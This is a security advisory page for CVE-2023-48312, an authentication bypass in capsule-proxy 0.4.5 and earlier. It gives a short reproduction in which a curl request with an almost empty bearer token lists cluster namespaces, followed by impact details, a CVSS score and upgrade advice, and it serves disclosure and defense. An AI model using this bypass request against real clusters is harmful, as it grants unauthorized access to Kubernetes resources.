CVE-2023-48312

Capsule Proxy Authentication bypass using an empty token

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "false"

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2023-48312 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.6); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2023-48312? CVE-2023-48312 is a critical-severity improper authentication vulnerability in github.com/projectcapsule/capsule-proxy (go), affecting versions <= 0.4.5. It is fixed in 0.4.6. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2023-48312? CVE-2023-48312 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2023-48312?
   • github.com/projectcapsule/capsule-proxy (go) (versions <= 0.4.5)
   • github.com/clastix/capsule-proxy (go) (versions <= 0.4.5)
4. Is there a fix for CVE-2023-48312? Yes. CVE-2023-48312 is fixed in 0.4.6. Upgrade to this version or later.
5. Is CVE-2023-48312 exploitable, and should I be worried? Whether CVE-2023-48312 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-48312 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-48312?
   • Upgrade github.com/projectcapsule/capsule-proxy to 0.4.6 or later
   • Upgrade github.com/clastix/capsule-proxy to 0.4.6 or later

Other vulnerabilities in github.com/projectcapsule/capsule-proxy